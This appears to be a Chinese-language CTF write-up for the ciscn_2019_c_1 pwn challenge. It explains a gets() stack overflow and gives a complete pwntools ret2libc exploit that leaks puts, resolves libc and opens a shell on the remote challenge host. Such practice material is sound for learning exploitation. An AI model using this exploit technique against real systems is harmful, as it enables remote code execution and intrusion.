保护
ida
encrypt()里有个get(s),可以栈溢出,确定题型ret2libc。
要先绕过main()的循环和if语句即v4=1,到达encrypt()。
可见encrypt()进行了加密操作,需要绕过加密,避免payload受损。
发现strlen(),进行字符串截断,执行break语句。
准备
exp
from pwn import*
from LibcSearcher import*
elf=ELF("/home/error/桌面/ciscn_2019_c_1")
context.log_level="debug"
#i=process("/home/error/桌面/ciscn_2019_c_1")
i=remote("node4.buuoj.cn",29583)
i.sendlineafter("Input your choice!\n",b"1")
i.recvline()
puts_plt=elf.plt["puts"]
puts_got=elf.got["puts"]
main=elf.sym["main"]
pop_rdi=0x0000000000400c83
ret=0x00000000004006b9
p1=b"\x00"+cyclic(0x50+8-1)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
i.sendline(p1)
puts_addr=u64(i.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
print(hex(puts_addr))
libc=LibcSearcher("puts",puts_addr)
libc_base=puts_addr-libc.dump("puts")
sys_addr=libc_base+libc.dump("system")
she_addr=libc_base+libc.dump("str_bin_sh")
print(hex(sys_addr))
i.sendlineafter("Input your choice!\n",b"1")
i.recvline()
p2=b"\x00"+cyclic(0x50+8-1)+p64(ret)+p64(pop_rdi)+p64(she_addr)+p64(sys_addr)
#注意是Ubuntu 18,有栈对齐问题,这个点也困扰了我好一会
i.sendline(p2)
i.interactive()
思考
scanf函数用法:
C语言scanf函数用法完全攻略 (biancheng.net)
ubuntu18栈对齐问题:关于ubuntu18版本以上调用64位程序中的system函数的栈对齐问题 - ZikH26 - 博客园 (cnblogs.com)